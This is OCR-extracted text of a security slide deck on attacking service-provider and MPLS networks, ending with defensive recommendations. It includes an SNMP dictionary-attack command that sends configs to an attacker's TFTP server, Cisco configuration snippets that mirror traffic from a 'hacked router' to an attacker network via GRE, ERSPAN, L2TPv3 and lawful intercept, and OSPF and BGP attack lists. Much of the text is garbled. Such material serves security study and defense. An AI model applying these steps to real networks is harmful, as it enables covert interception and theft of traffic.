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SNMP Blow

Defeat SNMP w/ ACL

I $ snmpblow.pl -s <NetMgt IP> -d <Target IP> -t <TFTP IP> -f cfg.txt < communities.txt
Attacker Network

Target Network

Internet

SNMP Dictionary Attack with IP spoof_ . =|=

-
-
_———
-

8 R I
TETP Upon guessing the SNMP Trusted
community string the configuration Device
Server .
file is downloaded to the attacker
TFTP server

Layer 2 and L3 Anti-spoof protection with a complex SNMP community string is
recommended. SNMPV3 is highly encouraged.

Reference: http://www.scanit.be/en_US/snmpblow.htmi




Policy Routing

Override IP Routing Table

ISP B -Comprised

A Route Map can over ride IP
routing table and redirect
specific traffic flows

Rouge ll
4G router E'

Scenario 2 — Redirect Traffic of interest
out 4G or other RF network for undetected
exfiltration

Scenario 3 — Redirect Traffic of interest to
enable a layer 3 Man in the Middle Attack

Vian 4
Attacker System Ly p——
M oscketsniter | |— i = oA
- IP Forwarding e =]

Reference http://ptgmedia.pearsoncmg.com/images/1587052024/samplechapter/1587052024content.pdf
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GRE Tunnel Utilized to Sniff Across WAN

Target Network m Attacker Network
Hacked Rout
acies mouer Internet

=7 g—%v
_I =]

; Packet

Analyzer
- GRE Tunnel is configured on the hacked router and the attacker’s router
- GRE Tunnel interfaces must be in common subnet
- Configure ACL to define traffic of interest on the hacked router
- Define a route map with the ACL and set the next hop to the attacker’s GRE tunnel interface IP address
- Similarly define an ACL & route map on the attacker router to redirect traffic to the packet analyzer

Reference: http://www.symantec.com/connect/articles/cisco-snmp-configuration-attack-gre-tunnel
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ERSPAN

Enable Packet Capture Across Routed Network

&

3

Target Network f\/\j Attacker Network
Hacked Router
- Internet

T

=

Exfiltration of packet captures

ERSPAN sends traffic over a GRE tunnel

=

-

Packet
Analyzer

monitor session < session |ID > type erspan-source
source interface GigabitEthernet1/0/1 rx
source interface GigabitEthernet1/0/2 tx
source interface GigabitEthernet1/0/3 both
destination

erspan-id < erspan-flow-ID >

ip address < remote ip >

origin ip address < source IP >

monitor session < session ID > type erspan-destination
Source

ip address < source IP >

erspan-id < erspan-flow-1D >

destination interface GigabitEthernet2/0/1

References: http://www.cisco.com/en/US/docs/ios/ios_xe/lanswitch/configuration/guide/span_xe.pdf
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Tunnel IPv6 over IPV4

using DLSw

If a router can be compromised with software that supports DLSw a
host may be able to tunnel IPv6 traffic across the IPv4 routed Internet.

This is not a documented or supported capability by Cisco.

disw local-peer peer-id 192.168.2.1

disw remote-peer 0 tcp 192.168.3.1 |

disw bridge-group 1
' ==

IPv4 Routed Backbone disw local-peer peer-id 192.168.3.1

dlsw remote-peer 0 tcp promiscuous
disw bridge-group 1
I

interface serial0/0
Ip address 192.168.1.1

interface Serial0/0
Ip address 192.168.1.2 255.255.255.0
I

| 255.255.255.0
interface FastEthernet0/0 !
ip address 192.168.2.1 255.255.255.0 !nterface FastEthernet 0/0
bridge-group 1 ip address 192.168.3.1 255.255.255.0
! bridge-group 1
! !
bridge 1 protocol ieee bridge 1 protocol ieee

References:

http://www.cisco.com/en/US/tech/tk331/tk336/technologies configuration example09186a0080093ece.shtml
http://www.cisco.com/en/US/tech/tk331/tk336/technologies configuration example09186a00801434cd.shtml?referring site=smartnavkRD
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Target Network

Hacked Router

1.1.1.1

I2tp-class |12tp-defaults

L2TPv3

MITM Across the Internet

Internet

ARP Poison across the Internet

retransmit initial retries 30
cookie-size 8
pseudowire-class ether-pw
encapsulation 12tpv3
protocol none

ip local interface LoopbackO
interface Ethernet 0/0

I2tp cookie local 4 54321

I2tp cookie remote 4 12345
12tp hello 12tp-defaults

xconnect 2.2.2.2 123 encapsulation 12tpv3 manual pw-class ether-pw
[2tp id 222 111

12tp-class 12tp-defaults

Common Layer 2 Network

Attacker Network

2222

retransmit initial retries 30
cookie-size 8
pseudowire-class ether-pw
encapsulation 12tpv3
protocol none

ip local interface LoopbackO
interface Ethernet 0/0

12tp cookie local 4 54321

I12tp cookie remote 4 12345
12tp hello 12tp-defaults

Reference: http://www.cisco.com/en/US/docs/ios-xml/ios/wan_Iserv/configuration/xe-3s/asr1000/wan-I2-tun-pro-v3-xe.pdf

xconnect 1.1.1.1 123 encapsulation 12tpv3 manual pw-class ether-pw
12tp id 222 111
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Lawful Intercept

Overview

Voice-Call Agent Configuration
Data-Radius, AAA Commands

LI Administration
Function Law Enforcement
M l Agency (LEA)
Request —
IRI Medle.]tlon Collection
; Device Function
Request
Router \ Switch N l ST T‘
Mediation
Device
Service Provider
SNMPv3 UDP Transport

for Delivery

Reference:
http://www.cisco.com/en/US/docs/switches/lan/catalyst6500/ios/12.2SX/lawful/intercept/65L1.pdf
http://www.cisco.com/en/US/docs/routers/asr9000/software/asr9k r4.1/security/configuration/quide/syssec cg41asr9k chapter3.pdf

-
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Lawful Intercept

Exploit Scenario

Target Network Destination Network
Hacked Router
S Attacker
\ﬂ'x\\N LI SNMP Trap Network
NN\A
Duplicate Copy of All i
Packets of Interest = Packet
Analyzer

Snmp-server view <view-name> ciscoTap2MIB included

Snmp-server view <view-name> ciscolpTapMIB included

Snmp-server group <group-name> v3 auth read <view-name> write <view-name) notify <view-name>
Snmp-server host <ip-address> traps version 3 priv <username> udp-port <port-number>
Snmp-server user <mduser-id> <groupname> v3 auth md5 <md-password>

References:
http://www.cisco.com/en/US/docs/switches/lan/catalyst6500/ios/12.2SX/lawful/intercept/65L1.pdf

http://www.cisco.com/en/US/docs/routers/asr9000/software/asr9k r4.1/security/configuration/quide/syssec cg41asr9k chapter3.pdf




Two-way Connection via NAT

4= == === Pivot to Target Cloud Provider

Attacking |
System 'PTV Head End | Billing System |-

B Internet Default Route | Integration
—_— (MCAST RPF)

Middleware 3
o

Managed IPTV
Service Provider

|

|

|

|
Target is the SAT IPTV Head End. Attacker is trying to pivot |
from Service Provider Network. Servers have route Setup Static | |
pointing back to SAT with no route to Internet. If the ~ 1 | NAT Translation :
|

|

|

|

|

i

attacker can compromise the HE router then configure NAT |§
two-way communication to the servers can be established.

No Route
downstream
Routers =
&7 % Video On
upstream U Demand Services
Fiber Node Head End Router L — —
RF Combiner Pivot off Servers and Exploit
- Cable Modem Termination Multicast Video Trust to target Cloud IPTV
System (CMTS) Provider
Cable Routers

-
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Hack the Network via OSPF

PF Exploit Tool
Autononynmous System OS P ools

External Network - Quagga
BGP, EIGRP, ISIS @Bm‘er Router (ASBR) | NRL Core(Network Simulator)
-  Nemesis
Area 0 - Loki

- G3SN\Dynamips

- Buy a router on eBay

- Hack a router and reconfigure

- Code one with Scapy

- IP Sorcery( IP Magic)

Cain & Able to crack OSPF MD5
MS RRAS

NetDude

Collasoft

Phenoelit IRPAS

rea Border Router
(ABR)

)
|
thought to security. LSA’s are multicast on the E
spoke LAN for any user to sniff without MD5. )

——————————————————————————————————————————

]
OSPF Attack Vectors
- Take over as DR - Inject routes to mask source of attack - DoS
. - Inject routes for MITM - Add new routes to hacked router

- Change interface bandwidth or use IP OSPF Cost for Traffic Engineering on hacked router

Dynetics
Inforr ions



BGP Hijacking in the News

2008 Pakistan Telecom accidentally hijacks
2011 Chinanet accidentally hijacks

In 2010 China Telecom accidentally hijacked n

50,000 blocks of IP addresses 20 minutes

€

http://www.wired.com/2013/12/bgp-hijacking-belarus-iceland/
http://www.blyon.com/hey-att-customers-your-facebook-data-went-to-china-and-korea-this-morning/
http://www.renesys.com/2008/02/pakistan-hijacks-youtube-1/

Renesys reported a major BGP hijacking in 2013
- Belaruse and Iceland ISP’s possibly compromised

* [;:—l @ f;é; - A software bug blamed

CHINA TELECOM




BGP
IP Prefix and AS Hijacking

AS 1

Hﬁascﬁ - Route ™ "REUE
IP subnet /24 Reflector Reflector

L2 Cross
Connect
-

&

Hijack AS 4mm'= "
& IP subnet /24

The Longest IP Prefix Wins



BGP Hijacking in the News

2008 Pakistan Telecom accidentally hijacks

Y 2011 Chinanet accidentally hijacks
.

In 2010 China Telecom accidentally hii-
50,000 blocks of IP addresses =~

- Belaruse and Iceland ISP’s possibly compromised

(’ wv\’ ~ 13 - A software bug blamed

http://www.wired.com/2013/12/bgp-hijacking-belarus-iceland/
http://www.blyon.com/hey-att-customers-your-facebook-data-went-to-china-and-korea-this-morning/
http://www.renesys.com/2008/02/pakistan-hijacks-youtube-1/




Virtual Private Networks

(" Vitual Networks )

v

( Virtual Private Networks > ( Virtual Dialup Networks > ( Virtual LANs )

( Overlay VPN ) ( Peer-to-Peer VPN )

"

(Layer-Z VPN) (Layer-3 VPN) [ Access lists Split routing
( n) (D

| ] Shared route edicated router

v ¥ v 4
(x25) (FIR) (ATM) (GRE)

MPLS VPN is not encrypted unless encrypted separately ‘

Dynetics
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MPLS and the OSI and TCP/IP Model
OSI Model MPLS Label Stack TCP/IP Model
Application

Presentation
Application

Session

Transport Transport

[
O
©
-l
o
e
e
C
=
@)

Network Internet

Data Link

Network Interface
Physical

Dynetlcs
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MPLS Label PCAP

- [P R 3 @ http://www.pcapr.net/view/bwilkerson/2008/10/3/12/mpls.pcap.html v C
pcapr 6050 users, 60457678 packets, 2938 pcaps, 433 protocols, 194 tags New! Links v lannie@netoptics.com Upload Logout Y [N
i) About =3 View/Edit
+|Download
™
H 1. = 127.0.0.1 » 127.0.0.1 echo Request
Select _:' . Delete _:' { Actions _:' ............................................................................................................................................................................................................

—Ethernet IT, Src: 00:901:01:00:00:01 (00:01:01:00:020:01), Dst: 00:01:01:00:09:02 (00:01:01:00:00:02)
#Destination: 00:01:01:00:00:02 (00:901:01:00:00:02)
+Source: 90:01:01:00:00:01 (00:01:01:00:020:01)

—MultiProtocol Label Switching Header, Label: 1001, Exp: @, S: 0, TTL: 128 g

MPLS Label: 1001

MPLS Experimental Bits: © 3
MPLS Bottom Of Label Stack: @

MPLS TTL: 128

+#MultiProtocol Label Switching Header, Label: 1002, Exp: @, S: 0, TTL: 128

+.Internet Protocol, Src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.6.0.1)
#User Datagram Protocol,

5Echo 32-bit MPLS Label Format -

« Label : 20-bit Y
00 01 01 00 00 02 00 01 01 00 00 EXP : 3-bit
90 80 00 3e 20 80 00 3e b1 80 45 o  Bottom-of-Stack : 1-bit

00 00 80 11 a% 20 7f£ 00 00 01 7f

00 07 00 13 00 00 48 65 6c 6Cc 6f o TTL . 8_b|t
-

21

Packet 1. ‘.V Select : | [ Delete

Source: http://www.netoptics.com/blog/01-07-2011/sample-pcap-files




MPLS Architecture Overview

PE Routers (Edge LSRs or LERs) Use MPLS with the
Core and Plain IP with CE Routers

P and PE Routers Use the Same IGP Routing Protocol
PE Routers are MP-iBGP Fully-meshed

Service provider may accidentally or intentionally misconfigure VPN’s
Utilize IPSEC VPN over MPLS VPN to insure security

Dynetics
Information Engineering Solutions




CLI - VRF configuration

ip vrf cust A
rd 200:1
route-target export 200:1
route-target import 200:1

ip vrf cust B
rd 200:2
route-target export 200:2
route-target import 200:2

Interface Serial2/0

ip vrf forwarding cust A

Interface Serial2/1

ip vrf forwarding cust B

MP-BGP

OSPF \ISIS and LDP

Static, BGP, OSPF,
EIGRP, RIP

Cust-A Cust-B Cust-A

MPLS Trust Relationship
Customer Trusts Service Providers

ip vrf cust A
rd 200:1
route-target export 200:1
route-target import 200:1

ip vrf cust B
rd 200:2
route-target export 200:2
route-target import 200:2

Interface Serial2/0

ip vrf forwarding cust A

Interface Serial2/1

ip vrf forwarding cust B

Cust-B

-
Dynetics
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MPLS PE Routing Table

gio — R1 — telnet — 80x18

N1 - OSPF NSSA external type 1 N2 - OSPF NSSA external type 2
E1l - OSPF external type 1, E2 - OSPF external type 2

Global Routing Table

Gateway of last resort is not set

10.0.0.0/8 is variably subnetted, 5 subnets, 2 masks
10.10.10.0/30 is directly connected, Serial®/0
10.10.10.4/30 [110/128] via 10.10.10.2, 00:06:20, Serial®d/0
10.10.10.102/32 [110/129] via 10.10.10.2, 00:06:20, Serial®/0
10.10.10.101/32 is directly connected, Loopback®
10.10.10.200/32 [110/65] via 10.10.10.2, 00:06:20, Serial®/0
E1-AS1#)

. — R1 — telnet — 80x20

C - connected, S - static,
D - EIGRP, EX - EIGRP external, 0 - OSPF,
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2

Codes: R - RIP, M - mobile, B - BGP

IA - OSPF inter area

: Cust_A MPLS VPN Routing Table

o - ODR, P - periodic downloaded static route
Gateway of last resort is not set

172.16.0.0/16 is variably subnetted, 5 subnets, 2 masks

IA

172

0
C
B
C 172
B
p

E1-AS1#]l

172.
172.

16.10.1/32 [110/65] via 172.16.1.2, 00:11:23, Serial@/1
16.1.0/30 is directly connected, Serial®/1

.16.2.0/30 [200/0] via 10.10.10.102, ©00:11:19
.16.101.1/32 is directly connected,
172.

Loopback10l
16.102.1/32 [200/0] via 10.10.10.102, 00:11:19

g — R1 — telnet — 8020

ip route vrf Cust_B

Gateway of last resort is not set

PE1-AS1#]l

Codes: - connected, S - static, R — RIP, M — mobile, B — BGP
D — EIGRP, EX — EIGRP external, 0 - OSPF, IA — OSPF inter area
N1 - 1 type 2
E1 - 1
= Cust_B MPLS VPN Routing Table o1t leveils
ia — IS-IS inter area, * — candlidate default, U — per—user static route
o — ODR, P — periodic downloaded static route

192.168.201.08/32 i
C 192.168.201.1 i
192.168.202.0/32 i
B 192.168.202.1 [
192.168.1.08/30 is
C 192.168.1.0 is directly connected,

3 Routing Tables on 1 Router
Separated by MPLS VRF

Seriale/s2

Dynetics

olutions
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MPLS PE MP-BGP VPN

M +Standard input

Eile Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
0 A m g BEREXS A>T EIEER QaaDd @ Bmsx| @

Filter: B Expression... Clear Apply Save
No. Time Source Destination Protocol Length Info o
59 53.1721010110.10.10.101 10.10.10.102 BGP 159 UPDATE Message
60 53.3593010/110.10.10.102 10.10.10.101 TCP 48 bgp > 52049 [ACK] Seq=20 Ack=180 wWin=15920 Len=0
61 55.0285040'N/A N/A SLARP 24 Line keepalive, outgoing sequence 377, returned sequ—
62 56.2453060110.10.10.101 10.10.10.102 BGP 159 UPDATE Message
63 56.2609060/110.10.10.102 OSSOSOl TCP

48 bgp > 52049 [ACK] Seq=20 Ack=295 win=16384 Len=0 -

= Frame 59: 159 bytes on wire (1272 bits), 159 bytes captured (1272 bits) on interface 0

@ Cisco HDLC

= Internet Protocol Version 4, Src: 10.10.10.101 (10.10.10.101), Dst: 10.10.10.102 (10.10.10.102)

= Transmission Control Protocol, Src Port: 52049 (52049), Dst Port: bgp (179), Seq: 65, Ack: 20, Len: 115 "
= Border Gateway Protocol - UPDATE Message
Marker: fffffffffffffffffffffrrrrrrfrfe I
Length: 115

Type: UPDATE Message (2)
Unfeasible routes length: 0O bytes
Total path attribute Tength: 92 bytes
= Path attributes
ORIGIN: INCOMPLETE (4 bytes)
AS_PATH: empty (3 bytes)
MULTI_EXIT_DISC: O (7 bytes)
LOCAL_PREF: 100 (7 bytes)
EXTENDED_COMMUNITIES: (35 bytes)
= Flags: OxcO (Optional, Transitive, Complete)
Type oYa F=Na i === = =

H®

] B @

O options

OSPF Router o .10.10T.
= MP_REACH_NLRI (36 bytes)
= Flags: Ox80 (Optional, Non-transitive, Complete)
Type code: MP_REACH_NLRI (14)
Length: 33 bytes
Address family: IPv4 (1)
Subsequent address famil identifier: Labeled VPN Unicast (128)

points of attachment: O

Network Tlayer reachability information (16 bytes)

= Label sStack=21 (bottom) RD=1:100, IPv4=172.16.101.1/32
MP Reach NLRI Prefix length: 120

MP Reach NLRI Label sStack: 21 (bottom)

MP Reach NLRI Route Distinguisher: 1:100

MP Reach NLRI IPv4 prefix: 172.16.101.1 (172.16.101.1)

= Next hop_nsg

0050

cO 10 -
0060 2 Q SO 00
0070 O 00 00 01 =
0080 00 00 00 78 g

0090
@ | Text item (text), 8 bytes

00 oo ac o1
Packets: 90 - Displayed: 90 (100.0%) - Dropped: 0 (0.0%)

1

Profile: Default

Dynetics

Information Engineering Solutions



Think Like the Threat to Develop Security Strategy

Transport Network Infrastructure Attack Tree

Network and System Architecture
- Centralized, Distributed, Redundant
- Physical and Logica| Network Infrastructure

Attack Vectors
- Transport Network (RF, Fiber, Copper)
Network Protocols
. . . SNMP Communtty Telnet\SSH MITM ]
- Routing, Switching, Redundanc g Dictoray Athc] || Diconary Atace ||| UNX Netig Sore e Poioning . P Opentiow Srver
g,. g, Y g Dctanary || Detay A X Nt o — Netvrk gt Appicaton Ermerte Ot
- Apps, Client/Server GDouroad Routert | et Senver . | | WeniyDefat SI's
Ypeat -d <domain> Capture SNMP Community
= <server P> passwd Strings and Unencrypted Attempt to Login Using
Ciﬁ:;ﬂ:&’:i‘:l‘::o CBUifId New R‘;UIIET Grab shadow fle hashes Login\Passwords, Protocol Default Login\Password E— "
tion File to urther Enumeratef
H W, SW’ Ap pS, R D B M s enable further privilege| en:ls\;%ﬂ?hfrnprwi\ege | Passwords | F?;i:e umera Oracle SID's o
escation escation l Identity Default dentify User Accts,
- Open Source S = : D64 Sy Love .
igure Router or Switch Perform Dictionary|
H Inject New Routes! Device for Accts\Passwords Attack
- CO mmercia I Upload New Or Bogus Protocol Further
Configuration File Packets Privilege
Using Comprimised i
SNMP RW String Access Server Own Network )
. . Own Network Directly |—|—, Login to Oracle DB
- Infrastructure Lt with Discovered DBA
Trust Relationships — Internet, BSS, 0SS, NMS, Net l Infrastructure I " D
- Network Management and Network Devices Oun Network Infrastructure
Billing, Middleware, Provisionin — | : :
- I I n gl I ewa el OV I S I O I g Is,,m’g ?C . Execute OS CMDs from Run Oracle SQL CMDs Run Oracle SQL
il Oracle PLISL Execule OS CMDs cMDs
- - Exploit ACL Trust Execute S CMDs
Ve n d orrem Ot € access (V PT) Relationship p;':vjvg;im:,:d Attack Network from DB Find NetMgt Passwords, Add New
Attack SNMP\Telnet\SSH SNMP config files| ISNMP info, OS password| Privileged 0S
- Tech staff remote access e poon
- Self Provisioning e
- Physical access Crckpassors | [ 023 o
. Escalate Privileged
- T r U Ste d | n S | d e r Own Network Access to Network
Infrastructure
- Cross connect
H Own Network | |
- CE in-band management Infrastructure

- Physical access to CE configuration settings

Dynetics
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Service Provider MPLS Network

< @! I Global Internet
ﬁ Intenet Backbone
/7 Central Office/

Central Office/
\% - —
Insider Threat
- Add VPN router
MP-BGP - Layer 2 attacks
ISISorOSPF P - L2TPv3
LDP - ERSPAN
- Lawful Intercept
-  GRE tunnel
- Co-location cross
connect
- Accidental
misconfiguration

MPLS VPN




Network Management Architecture

OSS Provisioning

RemoteVPN __NOC.._.___
NetM Vendor  AAATT T
etMgt User\ endor  f Reports \\\\\\ \
%gﬁﬂ /’,/’/ Data base _ \\

AL internet - NMS, EMS, MOM |

Network Operations — Security Strategy Servers
- Secure against exploited CE
- Secure trust relationship to NOC
- NOC to P, PE, CE, VPN’s pivoting b (IIT‘:_tLIg:EgSI\)I,IP)
- Internal, IPTV, VoIP, Internet\BGP, -
Vendor access,Transport networks
Alarms, Traps, llp l Configuration Provisioning, Control,
Reports, Backup | Software Download
Cust -1 CE &= Cust-2 CE
— PE <72 Cust-1 CE
Cust-2 CE —
— PE @—'@ Cust-1 CE
Physical Access - In-band Mgt
Cust-1 CE - Disable password recovery
- Secure Trust Relationships
\ - SNMP, ACL’s, Accts
Cust-2 CE ” - Protocols

- AAA, NetMgt IP’s

— MPLS CORE

Dynetics



Transit Between MPLS-VPN backbones

Packet Capture

Inject routes into VPN
Denial of Service
Join VPN

MITM

Cross-connect

Inject labeled packets
Traffic Engineering
Disable IP TTL

Carrier Backbone 2
running IGP and LDP

Carrier Backbone 1
running IGP and LDP

OSPF or ISIS
LDP

MP iBGP for VPN-IPv4

e

Z
—

—
-

MPLS Label\Prefix Recon
- ERSPAN

- Lawful Intercept

L
Attacker Network
Monitoring Infrastructure

L |-

Carrier Backbone 3
running IGP and LDP

: 5
‘_—» l E %
% % OSPF or ISIS
OSPF or ISIS § é“ LDP \'—
y o < I L2 IXP
PE-1 8 > l
Label | IP Data ¢ T Label | IP | Data
> AR | o< | I
MP- 'BGPfOF VPN-1Pv4 Gy e MP-iBGP for VPN-IPv4 | PE-
IP Data | | IP | Data
&= If BGP is being hijacked why not MPLS? %
% Secure Visualization and Instrumentation & Encryption CE-2




BGP Route Monitoring

800 BGPmon | BGPmon ¥ ® 00 Internet Security Research and Insight - Team Cymru =
¢ [(©)|[«]>] ENENES [ % www.team-cymru.com ¢ [Rezde ) (O]
+ | O # Apple iCloud Facebook Twitter Yahoo News¥ Popular ¥ ﬁ——

TEAM CYMRU TEAM CYMRU DRAGON
COMMUNITY SERVICES COMMERCIAL SERVICES RESEARCH GROUP
-

Team Cymru Inc. is a specialized Internet security research firm dedicated to making the Internet more secure. Team
Cymru helps izations identify and i pi in their networks, providing insight that improves lives.

BLOG  ABOUTUS PRODUCTS AND SERVICES NEWS AND PRESS ~ CLIENT PORTAL

BGPMon provides comprehensive information to assess

the impact of routing events. e TEAM CYMRU
SR COMMERCIAL
SERVICES

NEWS RELEASES

SERVICES

READING ROOM

PARTNERS

ABOUT US

CAREERS

Use BGPmon to monitor your prefixes and assess the risks to your network.

Why Monitor Getting Started Recent News and Updates
| e 00 LookinGlass.Org :: BGP Looking Glass links collection e
| (<> \E\ \E, | + [ @ www.lookinglass.org < J \El
[0 5 Apple iCloud Facebook Twitter Yahoo News~¥ Popular v J’T

() (7]

TRy Wwe renesys

1PV
WORLD IXs

ACL Generator

R The laternet Intellioence Authosity
Monitor Your IP Prefixes

Monitor Your Business Partner IP Prefixes

Monitor Industry Peers for Intel to Predict Future Attack

Dynetics
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MPLS Security Recommendations

Welcome to ntop! Frors : =' Kiwi Syslog Semce _Manage;(_fiegislered - Version 8.2125 -

emozvait File Edt View Manage Help

Info about interface Consiag isn . 5 ) Recent e - v m 4 @ Dizplay 00 (Default) v

View: [year ] — —— — e ————————————————————
Traffic Summary Date Time Priorty Hostname Message
y traversal[d) - . . -
. @ o 06-05-2007 15:49:30 Daemon.Notice 192.168.10.100 Test user
K 1 s ¢ ¥ 06-05-2007 154925 LocaM.Warning 192.165,10.241  Test user o

LocalS.Debug 192.168.1092 Test user c

e OO Welcome to ntop!
Pre o Diay Filter
About Summary LLad Media Admin Utils So e
2 03 122720830 Messenaer NewSendMessaae reausstiShart Framel
Traffic 34 o IcMP estination unreachable (Portunreachable)
nnnnnnnnnnnnnn

Network Load Host Information

Traffic U ASN Info 1

VLAN Info Domain| IP Address |MAC Address |Other Name(s) | Bandwidth|Nw Board Vendor 24 SERAEEEEETS

host254 Network Flows = 83.149.145.254
host078-144 = [] 83.149.144.78

Monitc;r for New Unexpected Route Advertisements — Know Your Network!
Utilize Encryption over MPLS VPN Links; SP PE-PE IPSEC

Whitelist the Network Trust Relationships including Routing Protocols

Whitelist Trusted Information Flows in Monitoring
Utilize Separate VRF for In-band Management
Dedicated Out-of-band Network Management with Un-attributable Internet IP for VPN
AAA with separation of roles and responsibilities for operations and security monitoring

Configuration Management and Monitoring — Log all changes!!

2 Factor Authentication!
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